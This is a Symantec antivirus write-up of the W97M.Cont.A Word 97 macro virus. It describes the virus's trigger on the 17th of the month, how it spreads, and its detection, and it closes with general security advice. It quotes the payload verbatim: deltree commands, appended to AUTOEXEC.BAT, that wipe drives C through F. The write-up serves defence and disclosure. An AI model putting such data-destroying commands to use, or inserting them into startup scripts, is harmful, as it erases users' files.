W97M.Cont.A | 
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W97M.Cont.A is a Microsoft Word 97 macro virus.
Damage
- Payload Trigger: Date is the 17th.
- Payload: If the date is the 17th, the virus appends the lines:
deltree /Y f:\*
deltree /Y e:\*
deltree /Y d:\*
deltree /Y c:\*
rem Created by Dream Blaster
rem Minny, you are simply a bxxxxx
to C:\AUTOEXEC.BAT, which is automatically executed upon rebooting, and deletes all files on drives C through F.
In addition, there is a 1-in-3 chance the properties of the document being edited will change to:
Author: Dream Blaster
Title: Macro Carrier
Keywords: Minny
These can be reverted by selecting 'File | Properties' from the Tool Bar.
Distribution
Detection of this macro virus was automatically created by the Digital Immune System on August 6, 1999 as W97M.Automat.H. Definitions dated after August 17, 1999 will detect this virus under its proper name of W97M.Cont.A.
This macro virus spreads in Microsoft Word 97 documents and is also able to replicate under the SR-1 version of Word 97. The macro virus infects the "This Document" module of Word 97 documents and also contains a destructive payload, which is executed on the 17th of any month.
Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":
- Turn off and remove unneeded services. By default, many operating systems install auxiliary services that are not critical, such as an FTP server, telnet, and a Web server. These services are avenues of attack. If they are removed, blended threats have less avenues of attack and you have fewer services to maintain through patch updates.
- If a blended threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
- Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services (for example, all Windows-based computers should have the current Service Pack installed.). Additionally, please apply any security updates that are mentioned in this writeup, in trusted Security Bulletins, or on vendor Web sites.
- Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
- Configure your email server to block or remove email that contains file attachments that are commonly used to spread viruses, such as .vbs, .bat, .exe, .pif and .scr files.
- Isolate infected computers quickly to prevent further compromising your organization. Perform a forensic analysis and restore the computers using trusted media.
- Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.
If you believe you have been infected, please download the latest virus definitions via LiveUpdate or from the Symantec Security Response Web site.
- Click here for instructions on using LiveUpdate to retrieve virus definitions.
- Click here to manually download and install virus definitions from the Symantec Security Response Web site.
Write-up by: Eric Chien
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